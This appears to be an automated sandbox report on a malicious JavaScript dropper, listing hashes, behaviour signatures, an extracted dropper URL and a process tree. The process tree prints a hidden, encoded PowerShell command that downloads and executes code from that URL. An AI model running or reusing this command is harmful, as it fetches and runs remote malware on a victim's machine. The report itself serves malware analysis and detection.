Analysis

  • max time kernel
    10s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    24/07/2021, 06:44

General

  • Target
    191Statm4447.js
  • Size 951KB
  • Sample210724-mxezhvn2qs
  • SHA256 8b60588bfb3e5743a093252a87c72ed4130be3a5fc70660cdd7d7e34c42ec888
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://www.chipmania.it/points.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\191Statm4447.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1696
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGgAaQBwAG0AYQBuAGkAYQAuAGkAdAAvAHAAbwBpAG4AdABzAC4AcABoAHAAIgApAA==
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2632
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGgAaQBwAG0AYQBuAGkAYQAuAGkAdAAvAHAAbwBpAG4AdABzAC4AcABoAHAAIgApAA==
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:504
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 504 -s 2308
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4028

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/504-121-0x0000022624870000-0x0000022624871000-memory.dmp

        memory/504-127-0x0000022622890000-0x0000022622892000-memory.dmp

        memory/504-129-0x0000022622893000-0x0000022622895000-memory.dmp

        memory/504-130-0x0000022624A20000-0x0000022624A21000-memory.dmp

        memory/504-145-0x0000022622896000-0x0000022622898000-memory.dmp